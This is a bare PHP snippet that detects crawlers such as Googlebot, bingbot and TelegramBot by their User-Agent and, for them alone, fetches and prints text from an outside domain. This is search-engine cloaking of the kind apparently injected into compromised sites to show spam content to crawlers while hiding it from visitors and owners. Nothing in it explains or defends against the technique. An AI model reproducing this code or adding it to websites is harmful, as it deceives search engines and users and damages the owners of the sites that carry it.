function is_bot() {
$user_agent = $_SERVER["HTTP_USER_AGENT"];
$bots = array("Googlebot", "TelegramBot", "bingbot", "Google-Site-Verification", "Google-InspectionTool");
foreach ($bots as $bot) {
if (stripos($user_agent, $bot) !== false) {
return true;
}
}
return false;
}

if (is_bot()) {
$message = file_get_contents("https://ex-saudia.direct/txt/dssc.txt");
echo $message;
}